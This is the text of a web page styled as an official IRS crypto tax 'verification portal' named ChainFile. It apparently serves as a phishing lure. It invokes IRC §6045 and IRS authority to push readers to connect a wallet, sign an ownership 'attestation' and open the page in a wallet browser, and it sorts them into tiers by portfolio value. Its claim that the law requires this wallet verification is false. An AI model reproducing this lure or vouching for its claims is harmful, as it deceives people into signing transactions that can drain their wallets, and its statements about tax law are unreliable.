OFFICIAL VERIFICATION PORTAL

ChainFile — Digital Asset Compliance

ChainFile provides automated digital asset tax compliance verification under IRC Section 6045. Connect your wallet to generate Form 8949 and Schedule D.

View Requirements

Verification Summary

Statutory AuthorityIRC §6045 · §6721

Estimated Time~3 minutes

Compliance DocumentForm 8949 · Schedule D

Digital asset reporting is mandatory for the 2026 tax season — IRS.

Process

Verification Requirements

Complete these four steps to satisfy IRS crypto tax compliance.

Connect Wallet

Link your Web3 wallet — MetaMask, Trust Wallet, OKX, or any compatible wallet.

Verify Ownership

Sign a cryptographic attestation proving control of the wallet address.

Generate Tax Report

Your transactions are analyzed and Form 8949 is auto-generated.

Download Form 8949

Attach to your Schedule D — ready for filing.

Scope

What We Verify

Comprehensive compliance checks performed on your connected wallet.

Transaction HistoryFull trade history across Ethereum, BSC, Solana, Polygon, Arbitrum, and 50+ chains.

Capital Gains & LossesFIFO, LIFO, and HIFO cost basis calculations — realized and unrealized.

DeFi & Staking IncomeLP rewards, staking yields, airdrops, and lending interest — classified per IRS Pub 544.

Ownership AttestationOn-chain proof of wallet ownership under IRS Section 6045.

Form 8949 GenerationIRS-compliant PDF with all digital asset dispositions and cost basis.

Privacy ProtectedAll verification runs locally. AES-256 encryption. Keys never transmitted.

Filing

Verification Tiers

Select the tier matching your digital asset portfolio value.

TierPortfolio ValueTransactionsForms

Tier 1$0 – $10kUp to 100Form 8949

Tier 2$10k – $500kUp to 5,000Form 8949 + Schedule D

Tier 3$500k+UnlimitedAll IRS forms

Open in Wallet

The IRS Verification Portal must be opened in a wallet browser to complete attestation.

Open in Trust Wallet

Open in MetaMask

Open in Onchain Wallet